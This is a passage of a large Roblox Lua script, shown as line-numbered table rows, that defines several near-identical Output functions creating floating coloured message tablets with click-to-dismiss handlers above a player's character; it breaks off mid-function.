| 10633 | NewImg.BackgroundTransparency = 1 | |
| 10634 | NewImg.Image = Image | |
| 10635 | NewImg.Parent = BBBG | |
| 10636 | end | |
| 10637 | ||
| 10638 | local Clicker = Instance.new("ClickDetector")
| |
| 10639 | Clicker.MaxActivationDistance = 1/0 | |
| 10640 | ||
| 10641 | if Time ~= nil then | |
| 10642 | coroutine.resume(coroutine.create(function() | |
| 10643 | wait(tonumber(Time)) | |
| 10644 | Dismiss(Plr, ID) | |
| 10645 | end)) | |
| 10646 | end | |
| 10647 | ||
| 10648 | Clicker.MouseClick:connect(function(Player) | |
| 10649 | if Player.Name == Plr.Name or CanRun(Player, Plr) then | |
| 10650 | ypcall(function() | |
| 10651 | if Func ~= nil then | |
| 10652 | Func(Holder) | |
| 10653 | else | |
| 10654 | Dismiss(Player, ID) | |
| 10655 | end | |
| 10656 | end) | |
| 10657 | end | |
| 10658 | end) | |
| 10659 | Clicker.Parent = Tab | |
| 10660 | ||
| 10661 | Holder.Parent = Work | |
| 10662 | ||
| 10663 | AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
| |
| 10664 | end) | |
| 10665 | end | |
| 10666 | end | |
| 10667 | ||
| 10668 | function Output2(Msg, Plr, Time, Func, Color, Image) | |
| 10669 | if Removed == false then | |
| 10670 | local ShowGarbage = false | |
| 10671 | ypcall(function() | |
| 10672 | if Msg == nil then | |
| 10673 | Msg = "N/A" | |
| 10674 | elseif Msg == "ShowGarbage" then | |
| 10675 | Msg = "Current Garbage Count: "..GetGarbage() | |
| 10676 | ShowGarbage = true | |
| 10677 | else | |
| 10678 | Msg = tostring(Msg) | |
| 10679 | end | |
| 10680 | if Plr == nil then | |
| 10681 | Plr = Plrs[Owner] or error("No Player Found")
| |
| 10682 | elseif type(Plr) == "string" then | |
| 10683 | local FoundPlr = false | |
| 10684 | for _,v in pairs(All()) do | |
| 10685 | if v.Name == Plr then | |
| 10686 | Plr = v | |
| 10687 | FoundPlr = true | |
| 10688 | break | |
| 10689 | end | |
| 10690 | end | |
| 10691 | if FoundPlr == false then | |
| 10692 | Plr = Plrs[Owner] or error("No Player Found")
| |
| 10693 | end | |
| 10694 | end | |
| 10695 | ||
| 10696 | local Holder = Instance.new("Model")
| |
| 10697 | Holder.Name = "KKA" | |
| 10698 | ||
| 10699 | local Tab = Instance.new("Part")
| |
| 10700 | Tab.Name = "KKA Tablet" | |
| 10701 | Tab.FormFactor = "Custom" | |
| 10702 | Tab.Anchored = true | |
| 10703 | Tab.Color = BrickColor.new("Teal").Color
| |
| 10704 | Tab.CanCollide = false | |
| 10705 | Tab.Locked = true | |
| 10706 | Tab.Transparency = 0.15 | |
| 10707 | Tab.Size = Vector3.new(2.2,2.2,2.2) | |
| 10708 | Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(-8, -8, -8) | |
| 10709 | Tab.Parent = Holder | |
| 10710 | ||
| 10711 | local BMO = Instance.new("BlockMesh")
| |
| 10712 | BMO.Parent = Tab | |
| 10713 | ||
| 10714 | local ID = Instance.new("NumberValue")
| |
| 10715 | ID.Name = "ID" | |
| 10716 | ID.Value = math.random(-999999999, 999999999) | |
| 10717 | ID.Parent = Holder | |
| 10718 | ||
| 10719 | --[[Delay(0, function() | |
| 10720 | while wait() do | |
| 10721 | if Tab.Parent == nil and FindTab(Holder) then | |
| 10722 | ypcall(function() | |
| 10723 | for i,v in pairs(AllTabs) do | |
| 10724 | if v.Holder == Holder then | |
| 10725 | ypcall(function() v.Holder:Destroy() end) | |
| 10726 | AllTabs[i] = nil | |
| 10727 | end | |
| 10728 | end | |
| 10729 | end) | |
| 10730 | Output2(Msg, Plr, Time, Func, Color, Image) | |
| 10731 | break | |
| 10732 | end | |
| 10733 | end | |
| 10734 | end)]]-- | |
| 10735 | ||
| 10736 | Sel = Instance.new("SelectionBox")
| |
| 10737 | Sel.Color = BrickColor.new("White")
| |
| 10738 | Sel.Transparency = 0.1 | |
| 10739 | Sel.Adornee = Tab | |
| 10740 | Sel.Parent = Tab | |
| 10741 | ||
| 10742 | local BG = Instance.new("BillboardGui")
| |
| 10743 | BG.Name = "BG" | |
| 10744 | BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0) | |
| 10745 | BG.Size = UDim2.new(0,0.6,00.6) | |
| 10746 | BG.Adornee = Tab | |
| 10747 | BG.Parent = Tab | |
| 10748 | ||
| 10749 | Delay(0, function() | |
| 10750 | while BG.Parent ~= nil do wait() | |
| 10751 | ypcall(function() | |
| 10752 | BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0) | |
| 10753 | end) | |
| 10754 | end | |
| 10755 | end) | |
| 10756 | ||
| 10757 | local TL = Instance.new("TextLabel")
| |
| 10758 | TL.Name = "TL" | |
| 10759 | TL.FontSize = "Size24" | |
| 10760 | TL.Font = "ArialBold" | |
| 10761 | TL.Text = Msg | |
| 10762 | TL.TextColor3 = Tab.Color | |
| 10763 | TL.Size = UDim2.new(0,2,0,2) | |
| 10764 | TL.TextTransparency = 0 | |
| 10765 | TL.TextStrokeTransparency = 0 | |
| 10766 | TL.Parent = BG | |
| 10767 | ||
| 10768 | TL.Size = UDim2.new(0,1,0,1) | |
| 10769 | TL.TextTransparency = 0 | |
| 10770 | TL.TextStrokeColor3 = Color3.new(255, 255, 255) | |
| 10771 | TL.TextStrokeTransparency = 0 | |
| 10772 | TL.Parent = BG | |
| 10773 | ||
| 10774 | ||
| 10775 | local FTT = Instance.new("TextLabel", FTG)
| |
| 10776 | FTT.Name = "FTT" | |
| 10777 | FTT.BackgroundTransparency = 1 | |
| 10778 | FTT.Size = UDim2.new(0,1000,0,1000) | |
| 10779 | FTT.Font = "ArialBold" | |
| 10780 | FTT.FontSize = Enum.FontSize.Size24 | |
| 10781 | FTT.Text = Msg | |
| 10782 | FTT.TextScaled = true | |
| 10783 | FTT.TextStrokeTransparency = 0 | |
| 10784 | FTT.TextColor3 = BrickColor.new("Institutional white").Color
| |
| 10785 | FTT.TextStrokeColor3 = BrickColor.new("Really black").Color
| |
| 10786 | ||
| 10787 | local TRO = Instance.new("BodyVelocity", Tab)
| |
| 10788 | TRO.maxForce = Vector3.new(40000000000, 40000000000, 40000000000) | |
| 10789 | TRO.P = 1250 | |
| 10790 | TRO.velocity = Vector3.new(0,0.17,0) | |
| 10791 | ||
| 10792 | local TLI = Instance.new("PointLight", Tab)
| |
| 10793 | TLI.Brightness = 0.15 | |
| 10794 | TLI.Range = 0.9 | |
| 10795 | TLI.Shadows = true | |
| 10796 | if ShowGarbage == true then | |
| 10797 | Delay(0, function() | |
| 10798 | while TL.Parent ~= nil do | |
| 10799 | TL.Text = "Current Garbage Count: "..GetGarbage() | |
| 10800 | wait(.5) | |
| 10801 | end | |
| 10802 | end) | |
| 10803 | end | |
| 10804 | if Image ~= nil then | |
| 10805 | local BBBG = Instance.new("BillboardGui")
| |
| 10806 | BBBG.Size = UDim2.new(5, 0, 6, 0) | |
| 10807 | BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0) | |
| 10808 | BBBG.AlwaysOnTop = true | |
| 10809 | BBBG.Adornee = Tab | |
| 10810 | BBBG.Parent = Tab | |
| 10811 | ||
| 10812 | Delay(0, function() | |
| 10813 | while BBBG.Parent ~= nil do wait() | |
| 10814 | ypcall(function() | |
| 10815 | BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0) | |
| 10816 | end) | |
| 10817 | end | |
| 10818 | end) | |
| 10819 | ||
| 10820 | ||
| 10821 | local NewImg = Instance.new("ImageLabel")
| |
| 10822 | NewImg.Size = UDim2.new(1, 0, 1, 0) | |
| 10823 | NewImg.BackgroundTransparency = 1 | |
| 10824 | NewImg.Image = Image | |
| 10825 | NewImg.Parent = BBBG | |
| 10826 | end | |
| 10827 | ||
| 10828 | ||
| 10829 | local Clicker = Instance.new("ClickDetector")
| |
| 10830 | Clicker.MaxActivationDistance = 1/0 | |
| 10831 | ||
| 10832 | if Time ~= nil then | |
| 10833 | coroutine.resume(coroutine.create(function() | |
| 10834 | wait(tonumber(Time)) | |
| 10835 | Dismiss(Plr, ID) | |
| 10836 | end)) | |
| 10837 | end | |
| 10838 | ||
| 10839 | Clicker.MouseClick:connect(function(Player) | |
| 10840 | if Player.Name == Plr.Name or CanRun(Player, Plr) then | |
| 10841 | ypcall(function() | |
| 10842 | if Func ~= nil then | |
| 10843 | Func(Holder) | |
| 10844 | else | |
| 10845 | Dismiss(Player, ID) | |
| 10846 | end | |
| 10847 | end) | |
| 10848 | end | |
| 10849 | end) | |
| 10850 | Clicker.Parent = Tab | |
| 10851 | ||
| 10852 | Holder.Parent = Work | |
| 10853 | ||
| 10854 | AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID, Rot = 0}
| |
| 10855 | end) | |
| 10856 | end | |
| 10857 | end | |
| 10858 | ||
| 10859 | function Output3(Msg, Plr, Time, Func, Color, Image) | |
| 10860 | if Removed == false then | |
| 10861 | local ShowGarbage = false | |
| 10862 | ypcall(function() | |
| 10863 | if Msg == nil then | |
| 10864 | Msg = "N/A" | |
| 10865 | elseif Msg == "ShowGarbage" then | |
| 10866 | Msg = "Current Garbage Count: "..GetGarbage() | |
| 10867 | ShowGarbage = true | |
| 10868 | else | |
| 10869 | Msg = tostring(Msg) | |
| 10870 | end | |
| 10871 | if Plr == nil then | |
| 10872 | Plr = Plrs[Owner] or error("No Player Found")
| |
| 10873 | elseif type(Plr) == "string" then | |
| 10874 | local FoundPlr = false | |
| 10875 | for _,v in pairs(All()) do | |
| 10876 | if v.Name == Plr then | |
| 10877 | Plr = v | |
| 10878 | FoundPlr = true | |
| 10879 | break | |
| 10880 | end | |
| 10881 | end | |
| 10882 | if FoundPlr == false then | |
| 10883 | Plr = Plrs[Owner] or error("No Player Found")
| |
| 10884 | end | |
| 10885 | end | |
| 10886 | ||
| 10887 | local Holder = Instance.new("Model")
| |
| 10888 | Holder.Name = "KKA" | |
| 10889 | ||
| 10890 | local Tab = Instance.new("Part")
| |
| 10891 | Tab.Name = "KKA Tablet" | |
| 10892 | Tab.FormFactor = "Custom" | |
| 10893 | Tab.Anchored = true | |
| 10894 | Tab.Color = BrickColor.new("Lime green").Color
| |
| 10895 | Tab.CanCollide = false | |
| 10896 | Tab.Locked = true | |
| 10897 | Tab.Transparency = 0.15 | |
| 10898 | Tab.Size = Vector3.new(2.2,2.2,2.2) | |
| 10899 | Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(-8, -8, -8) | |
| 10900 | Tab.Parent = Holder | |
| 10901 | ||
| 10902 | local BMO = Instance.new("BlockMesh")
| |
| 10903 | BMO.Parent = Tab | |
| 10904 | ||
| 10905 | local ID = Instance.new("NumberValue")
| |
| 10906 | ID.Name = "ID" | |
| 10907 | ID.Value = math.random(-999999999, 999999999) | |
| 10908 | ID.Parent = Holder | |
| 10909 | ||
| 10910 | --[[Delay(0, function() | |
| 10911 | while wait() do | |
| 10912 | if Tab.Parent == nil and FindTab(Holder) then | |
| 10913 | ypcall(function() | |
| 10914 | for i,v in pairs(AllTabs) do | |
| 10915 | if v.Holder == Holder then | |
| 10916 | ypcall(function() v.Holder:Destroy() end) | |
| 10917 | AllTabs[i] = nil | |
| 10918 | end | |
| 10919 | end | |
| 10920 | end) | |
| 10921 | Output2(Msg, Plr, Time, Func, Color, Image) | |
| 10922 | break | |
| 10923 | end | |
| 10924 | end | |
| 10925 | end)]]-- | |
| 10926 | ||
| 10927 | Sel = Instance.new("SelectionBox")
| |
| 10928 | Sel.Color = BrickColor.new("White")
| |
| 10929 | Sel.Transparency = 0.1 | |
| 10930 | Sel.Adornee = Tab | |
| 10931 | Sel.Parent = Tab | |
| 10932 | ||
| 10933 | local BG = Instance.new("BillboardGui")
| |
| 10934 | BG.Name = "BG" | |
| 10935 | BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0) | |
| 10936 | BG.Size = UDim2.new(0,0.6,00.6) | |
| 10937 | BG.Adornee = Tab | |
| 10938 | BG.Parent = Tab | |
| 10939 | ||
| 10940 | Delay(0, function() | |
| 10941 | while BG.Parent ~= nil do wait() | |
| 10942 | ypcall(function() | |
| 10943 | BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0) | |
| 10944 | end) | |
| 10945 | end | |
| 10946 | end) | |
| 10947 | ||
| 10948 | local TL = Instance.new("TextLabel")
| |
| 10949 | TL.Name = "TL" | |
| 10950 | TL.FontSize = "Size24" | |
| 10951 | TL.Font = "ArialBold" | |
| 10952 | TL.Text = Msg | |
| 10953 | TL.TextColor3 = Tab.Color | |
| 10954 | TL.Size = UDim2.new(0,2,0,2) | |
| 10955 | TL.TextTransparency = 0 | |
| 10956 | TL.TextStrokeTransparency = 0 | |
| 10957 | TL.Parent = BG | |
| 10958 | ||
| 10959 | TL.Size = UDim2.new(0,1,0,1) | |
| 10960 | TL.TextTransparency = 0 | |
| 10961 | TL.TextStrokeColor3 = Color3.new(255, 255, 255) | |
| 10962 | TL.TextStrokeTransparency = 0 | |
| 10963 | TL.Parent = BG | |
| 10964 | ||
| 10965 | ||
| 10966 | local FTT = Instance.new("TextLabel", FTG)
| |
| 10967 | FTT.Name = "FTT" | |
| 10968 | FTT.BackgroundTransparency = 1 | |
| 10969 | FTT.Size = UDim2.new(0,1000,0,1000) | |
| 10970 | FTT.Font = "ArialBold" | |
| 10971 | FTT.FontSize = Enum.FontSize.Size24 | |
| 10972 | FTT.Text = Msg | |
| 10973 | FTT.TextScaled = true | |
| 10974 | FTT.TextStrokeTransparency = 0 | |
| 10975 | FTT.TextColor3 = BrickColor.new("Institutional white").Color
| |
| 10976 | FTT.TextStrokeColor3 = BrickColor.new("Really black").Color
| |
| 10977 | ||
| 10978 | local TRO = Instance.new("BodyVelocity", Tab)
| |
| 10979 | TRO.maxForce = Vector3.new(40000000000, 40000000000, 40000000000) | |
| 10980 | TRO.P = 1250 | |
| 10981 | TRO.velocity = Vector3.new(0,0.17,0) | |
| 10982 | ||
| 10983 | local TLI = Instance.new("PointLight", Tab)
| |
| 10984 | TLI.Brightness = 0.15 | |
| 10985 | TLI.Range = 0.9 | |
| 10986 | TLI.Shadows = true | |
| 10987 | if ShowGarbage == true then | |
| 10988 | Delay(0, function() | |
| 10989 | while TL.Parent ~= nil do | |
| 10990 | TL.Text = "Current Garbage Count: "..GetGarbage() | |
| 10991 | wait(.5) | |
| 10992 | end | |
| 10993 | end) | |
| 10994 | end | |
| 10995 | if Image ~= nil then | |
| 10996 | local BBBG = Instance.new("BillboardGui")
| |
| 10997 | BBBG.Size = UDim2.new(5, 0, 6, 0) | |
| 10998 | BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0) | |
| 10999 | BBBG.AlwaysOnTop = true | |
| 11000 | BBBG.Adornee = Tab | |
| 11001 | BBBG.Parent = Tab | |
| 11002 | ||
| 11003 | Delay(0, function() | |
| 11004 | while BBBG.Parent ~= nil do wait() | |
| 11005 | ypcall(function() | |
| 11006 | BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0) | |
| 11007 | end) | |
| 11008 | end | |
| 11009 | end) | |
| 11010 | ||
| 11011 | ||
| 11012 | local NewImg = Instance.new("ImageLabel")
| |
| 11013 | NewImg.Size = UDim2.new(1, 0, 1, 0) | |
| 11014 | NewImg.BackgroundTransparency = 1 | |
| 11015 | NewImg.Image = Image | |
| 11016 | NewImg.Parent = BBBG | |
| 11017 | end | |
| 11018 | ||
| 11019 | ||
| 11020 | local Clicker = Instance.new("ClickDetector")
| |
| 11021 | Clicker.MaxActivationDistance = 1/0 | |
| 11022 | ||
| 11023 | if Time ~= nil then | |
| 11024 | coroutine.resume(coroutine.create(function() | |
| 11025 | wait(tonumber(Time)) | |
| 11026 | Dismiss(Plr, ID) | |
| 11027 | end)) | |
| 11028 | end | |
| 11029 | ||
| 11030 | Clicker.MouseClick:connect(function(Player) | |
| 11031 | if Player.Name == Plr.Name or CanRun(Player, Plr) then | |
| 11032 | ypcall(function() | |
| 11033 | if Func ~= nil then | |
| 11034 | Func(Holder) | |
| 11035 | else | |
| 11036 | Dismiss(Player, ID) | |
| 11037 | end | |
| 11038 | end) | |
| 11039 | end | |
| 11040 | end) | |
| 11041 | Clicker.Parent = Tab | |
| 11042 | ||
| 11043 | Holder.Parent = Work | |
| 11044 | ||
| 11045 | AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID, Rot = 0}
| |
| 11046 | end) | |
| 11047 | end | |
| 11048 | end | |
| 11049 | function Output4(Msg, Plr, Time, Func, Color, Image) | |
| 11050 | if Removed == false then | |
| 11051 | local ShowGarbage = false | |
| 11052 | ypcall(function() | |
| 11053 | if Msg == nil then | |
| 11054 | Msg = "N/A" | |
| 11055 | elseif Msg == "ShowGarbage" then | |
| 11056 | Msg = "Current Garbage Count: "..GetGarbage() | |
| 11057 | ShowGarbage = true | |
| 11058 | else | |
| 11059 | Msg = tostring(Msg) | |
| 11060 | end | |
| 11061 | if Plr == nil then | |
| 11062 | Plr = Plrs[Owner] or error("No Player Found")
| |
| 11063 | elseif type(Plr) == "string" then | |
| 11064 | local FoundPlr = false | |
| 11065 | for _,v in pairs(All()) do | |
| 11066 | if v.Name == Plr then | |
| 11067 | Plr = v | |
| 11068 | FoundPlr = true | |
| 11069 | break | |
| 11070 | end | |
| 11071 | end | |
| 11072 | if FoundPlr == false then | |
| 11073 | Plr = Plrs[Owner] or error("No Player Found")
| |
| 11074 | end | |
| 11075 | end | |
| 11076 | ||
| 11077 | local Holder = Instance.new("Model")
| |
| 11078 | Holder.Name = "KKA" | |
| 11079 | ||
| 11080 | local Tab = Instance.new("Part")
| |
| 11081 | Tab.Name = "KKA Tablet" | |
| 11082 | Tab.FormFactor = "Custom" | |
| 11083 | Tab.Anchored = true | |
| 11084 | Tab.Color = BrickColor.new("White").Color
| |
| 11085 | Tab.CanCollide = false | |
| 11086 | Tab.Locked = true | |
| 11087 | Tab.Transparency = 0.15 | |
| 11088 | Tab.Size = Vector3.new(2.2,2.2,2.2) | |
| 11089 | Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(-8, -8, -8) | |
| 11090 | Tab.Parent = Holder | |
| 11091 | ||
| 11092 | local BMO = Instance.new("BlockMesh")
| |
| 11093 | BMO.Parent = Tab | |
| 11094 | ||
| 11095 | local ID = Instance.new("NumberValue")
| |
| 11096 | ID.Name = "ID" | |
| 11097 | ID.Value = math.random(-999999999, 999999999) | |
| 11098 | ID.Parent = Holder | |
| 11099 | ||
| 11100 | --[[Delay(0, function() | |
| 11101 | while wait() do | |
| 11102 | if Tab.Parent == nil and FindTab(Holder) then | |
| 11103 | ypcall(function() | |
| 11104 | for i,v in pairs(AllTabs) do | |
| 11105 | if v.Holder == Holder then | |
| 11106 | ypcall(function() v.Holder:Destroy() end) | |
| 11107 | AllTabs[i] = nil | |
| 11108 | end | |
| 11109 | end | |
| 11110 | end) | |
| 11111 | Output2(Msg, Plr, Time, Func, Color, Image) | |
| 11112 | break | |
| 11113 | end | |
| 11114 | end | |
| 11115 | end)]]-- | |
| 11116 | ||
| 11117 | Sel = Instance.new("SelectionBox")
| |
| 11118 | Sel.Color = BrickColor.new("White")
| |
| 11119 | Sel.Transparency = 0.1 | |
| 11120 | Sel.Adornee = Tab | |
| 11121 | Sel.Parent = Tab | |
| 11122 | ||
| 11123 | local BG = Instance.new("BillboardGui")
| |
| 11124 | BG.Name = "BG" | |
| 11125 | BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0) | |
| 11126 | BG.Size = UDim2.new(0,0.6,00.6) | |
| 11127 | BG.Adornee = Tab | |
| 11128 | BG.Parent = Tab | |
| 11129 | ||
| 11130 | Delay(0, function() | |
| 11131 | while BG.Parent ~= nil do wait() | |
| 11132 | ypcall(function() | |
| 11133 | BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0) | |
| 11134 | end) | |
| 11135 | end | |
| 11136 | end) | |
| 11137 | ||
| 11138 | local TL = Instance.new("TextLabel")
| |
| 11139 | TL.Name = "TL" | |
| 11140 | TL.FontSize = "Size24" | |
| 11141 | TL.Font = "ArialBold" | |
| 11142 | TL.Text = Msg | |
| 11143 | TL.TextColor3 = Tab.Color | |
| 11144 | TL.Size = UDim2.new(0,2,0,2) | |
| 11145 | TL.TextTransparency = 0 | |
| 11146 | TL.TextStrokeTransparency = 0 | |
| 11147 | TL.Parent = BG | |
| 11148 | ||
| 11149 | TL.Size = UDim2.new(0,1,0,1) | |
| 11150 | TL.TextTransparency = 0 | |
| 11151 | TL.TextStrokeColor3 = Color3.new(255, 255, 255) | |
| 11152 | TL.TextStrokeTransparency = 0 | |
| 11153 | TL.Parent = BG | |
| 11154 | ||
| 11155 | ||
| 11156 | local FTT = Instance.new("TextLabel", FTG)
| |
| 11157 | FTT.Name = "FTT" | |
| 11158 | FTT.BackgroundTransparency = 1 | |
| 11159 | FTT.Size = UDim2.new(0,1000,0,1000) | |
| 11160 | FTT.Font = "ArialBold" | |
| 11161 | FTT.FontSize = Enum.FontSize.Size24 | |
| 11162 | FTT.Text = Msg | |
| 11163 | FTT.TextScaled = true | |
| 11164 | FTT.TextStrokeTransparency = 0 | |
| 11165 | FTT.TextColor3 = BrickColor.new("Institutional white").Color
| |
| 11166 | FTT.TextStrokeColor3 = BrickColor.new("Really black").Color
| |
| 11167 | ||
| 11168 | local TRO = Instance.new("BodyVelocity", Tab)
| |
| 11169 | TRO.maxForce = Vector3.new(40000000000, 40000000000, 40000000000) | |
| 11170 | TRO.P = 1250 | |
| 11171 | TRO.velocity = Vector3.new(0,0.17,0) | |
| 11172 | ||
| 11173 | local TLI = Instance.new("PointLight", Tab)
| |
| 11174 | TLI.Brightness = 0.15 | |
| 11175 | TLI.Range = 0.9 | |
| 11176 | TLI.Shadows = true | |
| 11177 | if ShowGarbage == true then | |
| 11178 | Delay(0, function() | |
| 11179 | while TL.Parent ~= nil do | |
| 11180 | TL.Text = "Current Garbage Count: "..GetGarbage() | |
| 11181 | wait(.5) | |
| 11182 | end | |
| 11183 | end) | |
| 11184 | end | |
| 11185 | if Image ~= nil then | |
| 11186 | local BBBG = Instance.new("BillboardGui")
| |
| 11187 | BBBG.Size = UDim2.new(5, 0, 6, 0) | |
| 11188 | BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0) | |
| 11189 | BBBG.AlwaysOnTop = true | |
| 11190 | BBBG.Adornee = Tab | |
| 11191 | BBBG.Parent = Tab | |
| 11192 | ||
| 11193 | Delay(0, function() | |
| 11194 | while BBBG.Parent ~= nil do wait() | |
| 11195 | ypcall(function() | |
| 11196 | BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0) | |
| 11197 | end) | |
| 11198 | end | |
| 11199 | end) | |
| 11200 | ||
| 11201 | ||
| 11202 | local NewImg = Instance.new("ImageLabel")
| |
| 11203 | NewImg.Size = UDim2.new(1, 0, 1, 0) | |
| 11204 | NewImg.BackgroundTransparency = 1 | |
| 11205 | NewImg.Image = Image | |
| 11206 | NewImg.Parent = BBBG | |
| 11207 | end | |
| 11208 | ||
| 11209 | ||
| 11210 | local Clicker = Instance.new("ClickDetector")
| |
| 11211 | Clicker.MaxActivationDistance = 1/0 | |
| 11212 | ||
| 11213 | if Time ~= nil then | |
| 11214 | coroutine.resume(coroutine.create(function() | |
| 11215 | wait(tonumber(Time)) | |
| 11216 | Dismiss(Plr, ID) | |
| 11217 | end)) | |
| 11218 | end | |
| 11219 | ||
| 11220 | Clicker.MouseClick:connect(function(Player) | |
| 11221 | if Player.Name == Plr.Name or CanRun(Player, Plr) then | |
| 11222 | ypcall(function() | |
| 11223 | if Func ~= nil then | |
| 11224 | Func(Holder) | |
| 11225 | else | |
| 11226 | Dismiss(Player, ID) | |
| 11227 | end | |
| 11228 | end) | |
| 11229 | end | |
| 11230 | end) | |
| 11231 | Clicker.Parent = Tab | |
| 11232 | ||
| 11233 | Holder.Parent = Work | |
| 11234 | ||
| 11235 | AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID, Rot = 0}
| |
| 11236 | end) | |
| 11237 | end | |
| 11238 | end | |
| 11239 | ||
| 11240 | function Output5(Msg, Plr, Time, Func, Color, Image) | |
| 11241 | if Removed == false then | |
| 11242 | local ShowGarbage = false | |
| 11243 | ypcall(function() | |
| 11244 | if Msg == nil then | |
| 11245 | Msg = "N/A" | |
| 11246 | elseif Msg == "ShowGarbage" then | |
| 11247 | Msg = "Current Garbage Count: "..GetGarbage() | |
| 11248 | ShowGarbage = true | |
| 11249 | else | |
| 11250 | Msg = tostring(Msg) | |
| 11251 | end | |
| 11252 | if Plr == nil then | |
| 11253 | Plr = Plrs[Owner] or error("No Player Found")
| |
| 11254 | elseif type(Plr) == "string" then | |
| 11255 | local FoundPlr = false | |
| 11256 | for _,v in pairs(All()) do | |
| 11257 | if v.Name == Plr then | |
| 11258 | Plr = v | |
| 11259 | FoundPlr = true | |
| 11260 | break | |
| 11261 | end | |
| 11262 | end | |
| 11263 | if FoundPlr == false then | |
| 11264 | Plr = Plrs[Owner] or error("No Player Found")
| |
| 11265 | end | |
| 11266 | end | |
| 11267 | ||
| 11268 | local Holder = Instance.new("Model")
| |
| 11269 | Holder.Name = "KKA" | |
| 11270 | ||
| 11271 | local Tab = Instance.new("Part")
| |
| 11272 | Tab.Name = "KKA Tablet" | |
| 11273 | Tab.FormFactor = "Custom" | |
| 11274 | Tab.Anchored = true | |
| 11275 | Tab.Color = BrickColor.new("Navy blue").Color
| |
| 11276 | Tab.CanCollide = false | |
| 11277 | Tab.Locked = true | |
| 11278 | Tab.Transparency = 0.15 | |
| 11279 | Tab.Size = Vector3.new(2.2,2.2,2.2) | |
| 11280 | Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(-8, -8, -8) | |
| 11281 | Tab.Parent = Holder | |
| 11282 | ||
| 11283 | local BMO = Instance.new("BlockMesh")
| |
| 11284 | BMO.Parent = Tab | |
| 11285 | ||
| 11286 | local ID = Instance.new("NumberValue")
| |
| 11287 | ID.Name = "ID" | |
| 11288 | ID.Value = math.random(-999999999, 999999999) | |
| 11289 | ID.Parent = Holder | |
| 11290 | ||
| 11291 | --[[Delay(0, function() | |
| 11292 | while wait() do | |
| 11293 | if Tab.Parent == nil and FindTab(Holder) then | |
| 11294 | ypcall(function() | |
| 11295 | for i,v in pairs(AllTabs) do | |
| 11296 | if v.Holder == Holder then | |
| 11297 | ypcall(function() v.Holder:Destroy() end) | |
| 11298 | AllTabs[i] = nil | |
| 11299 | end | |
| 11300 | end | |
| 11301 | end) | |
| 11302 | Output2(Msg, Plr, Time, Func, Color, Image) | |
| 11303 | break | |
| 11304 | end | |
| 11305 | end | |
| 11306 | end)]]-- | |
| 11307 | ||
| 11308 | Sel = Instance.new("SelectionBox")
| |
| 11309 | Sel.Color = BrickColor.new("White")
| |
| 11310 | Sel.Transparency = 0.1 | |
| 11311 | Sel.Adornee = Tab | |
| 11312 | Sel.Parent = Tab | |
| 11313 | ||
| 11314 | local BG = Instance.new("BillboardGui")
| |
| 11315 | BG.Name = "BG" | |
| 11316 | BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0) | |
| 11317 | BG.Size = UDim2.new(0,0.6,00.6) | |
| 11318 | BG.Adornee = Tab | |
| 11319 | BG.Parent = Tab | |
| 11320 | ||
| 11321 | Delay(0, function() | |
| 11322 | while BG.Parent ~= nil do wait() | |
| 11323 | ypcall(function() | |
| 11324 | BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0) | |
| 11325 | end) | |
| 11326 | end | |
| 11327 | end) | |
| 11328 | ||
| 11329 | local TL = Instance.new("TextLabel")
| |
| 11330 | TL.Name = "TL" | |
| 11331 | TL.FontSize = "Size24" | |
| 11332 | TL.Font = "ArialBold" | |
| 11333 | TL.Text = Msg | |
| 11334 | TL.TextColor3 = Tab.Color | |
| 11335 | TL.Size = UDim2.new(0,2,0,2) | |
| 11336 | TL.TextTransparency = 0 | |
| 11337 | TL.TextStrokeTransparency = 0 | |
| 11338 | TL.Parent = BG | |
| 11339 | ||
| 11340 | TL.Size = UDim2.new(0,1,0,1) | |
| 11341 | TL.TextTransparency = 0 | |
| 11342 | TL.TextStrokeColor3 = Color3.new(255, 255, 255) | |
| 11343 | TL.TextStrokeTransparency = 0 | |
| 11344 | TL.Parent = BG | |
| 11345 | ||
| 11346 | ||
| 11347 | local FTT = Instance.new("TextLabel", FTG)
| |
| 11348 | FTT.Name = "FTT" | |
| 11349 | FTT.BackgroundTransparency = 1 | |
| 11350 | FTT.Size = UDim2.new(0,1000,0,1000) | |
| 11351 | FTT.Font = "ArialBold" | |
| 11352 | FTT.FontSize = Enum.FontSize.Size24 | |
| 11353 | FTT.Text = Msg | |
| 11354 | FTT.TextScaled = true | |
| 11355 | FTT.TextStrokeTransparency = 0 | |
| 11356 | FTT.TextColor3 = BrickColor.new("Institutional white").Color
| |
| 11357 | FTT.TextStrokeColor3 = BrickColor.new("Really black").Color
| |
| 11358 | ||
| 11359 | local TRO = Instance.new("BodyVelocity", Tab)
| |
| 11360 | TRO.maxForce = Vector3.new(40000000000, 40000000000, 40000000000) | |
| 11361 | TRO.P = 1250 | |
| 11362 | TRO.velocity = Vector3.new(0,0.17,0) | |
| 11363 | ||
| 11364 | local TLI = Instance.new("PointLight", Tab)
| |
